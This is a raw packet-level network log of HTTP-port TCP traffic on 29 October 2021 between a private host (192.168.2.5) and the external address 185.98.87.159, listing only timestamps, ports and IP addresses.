Oct 29, 2021 20:10:51.941771030 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941791058 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941800117 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941808939 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941827059 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941836119 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941847086 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941865921 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941884041 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941896915 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941898108 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941914082 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941927910 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941939116 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941946030 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941962957 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.941963911 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941982985 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.941992998 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.942001104 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.942029953 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.942060947 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.942063093 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.942080021 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.942097902 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.942116022 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.942132950 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.942141056 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.942181110 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.953059912 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.953494072 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.956285954 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:52.007827044 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:55.828738928 CEST	49823	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:55.880481958 CEST	80	49823	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:55.880615950 CEST	49823	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:55.880763054 CEST	49823	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:55.880800009 CEST	49823	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:55.932589054 CEST	80	49823	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:55.957325935 CEST	80	49823	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:55.957417011 CEST	49823	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:55.958296061 CEST	49823	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.005309105 CEST	49824	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.009848118 CEST	80	49823	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.059823990 CEST	80	49824	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.059926033 CEST	49824	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.061537027 CEST	49824	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.061561108 CEST	49824	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.145724058 CEST	80	49824	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.145812035 CEST	49824	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.146029949 CEST	49824	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.200328112 CEST	80	49824	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.540977955 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.592937946 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.593017101 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.593132019 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.688584089 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728715897 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728748083 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728771925 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728794098 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728811979 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728820086 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.728827953 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728854895 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728859901 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.728878021 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728882074 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.728895903 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728912115 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.728924036 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.728951931 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.780703068 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780730963 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780746937 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780762911 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780778885 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780810118 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.780816078 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780837059 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780838013 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.780863047 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780869961 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.780879974 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780894995 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780904055 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.780917883 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780934095 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780952930 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.780966997 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780978918 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.780982971 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.780998945 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.781016111 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.781037092 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.781064987 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.781078100 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.781094074 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.781135082 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.781146049 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.781162024 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.781213999 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833056927 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833101034 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833154917 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833192110 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833209991 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833216906 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833244085 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833250999 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833271027 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833295107 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833322048 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833323002 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833348036 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833359003 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833374977 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833446026 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833462954 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833488941 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833515882 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833537102 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833540916 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833565950 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833570957 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833591938 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833616018 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833616972 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833643913 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833659887 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833671093 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833695889 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833720922 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833743095 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833746910 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833772898 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.833780050 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.833818913 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.885705948 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.885781050 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.885818958 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.885843039 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.885865927 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.885911942 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.885948896 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.885967970 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.885983944 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.885993958 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886007071 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886056900 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886058092 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886096954 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886136055 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886169910 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886185884 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886217117 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886224985 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886250019 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886272907 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886293888 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886316061 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886318922 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886339903 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886356115 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886363983 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886389971 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886394978 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886414051 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886439085 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886450052 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886464119 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886487961 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886511087 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886512995 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886535883 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886544943 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886559963 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886580944 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886591911 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886604071 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886627913 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.886647940 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.886682034 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.938812017 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.938913107 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.938987970 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939018965 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939047098 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939085007 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939117908 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939135075 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939160109 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939204931 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939241886 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939275026 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939332008 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939368963 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939418077 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939444065 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939480066 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939516068 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939564943 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939570904 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939615011 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939618111 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939651012 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939686060 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939719915 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939732075 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939753056 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939759016 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939790010 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939825058 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939861059 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939870119 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939898968 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939907074 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.939933062 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.939968109 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940002918 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940021038 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.940036058 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940052032 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.940071106 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940108061 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940143108 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940155983 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.940177917 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940190077 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.940212011 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940247059 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940283060 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940294027 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.940315962 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.940323114 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.940351009 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.942461014 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.993068933 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993094921 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993110895 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993127108 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993180037 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.993237019 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.993503094 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993525982 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993541002 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993558884 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993594885 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.993618965 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.993963957 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.993978977 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994062901 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994316101 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994344950 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994360924 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994375944 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994416952 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994441986 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994518042 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994534016 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994549990 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994565010 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994580030 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994617939 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994621992 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994642973 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994658947 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994673967 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994699001 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994740963 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994832993 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994849920 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994867086 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994888067 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.994896889 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994932890 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.994981050 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.995007038 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.995022058 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.995037079 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:56.995052099 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:56.995074034 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.046475887 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046498060 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046509981 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046540022 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046555996 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046567917 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046598911 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.046602964 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046619892 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046637058 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.046674967 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.046808004 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046832085 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046854019 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046869993 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046904087 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.046926022 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.046983004 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.046998978 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047014952 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047029972 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047050953 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047065973 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047080994 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047095060 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047111034 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047126055 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047156096 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047184944 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047244072 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047261000 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047276974 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047298908 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047308922 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047314882 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047354937 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047358990 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047370911 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047394037 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047399998 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047463894 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047481060 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.047513962 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.047534943 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.098887920 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.098946095 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.098969936 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.098987103 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099004030 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099018097 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099024057 CEST	80	49825	185.98.87.159	192.168.2.5
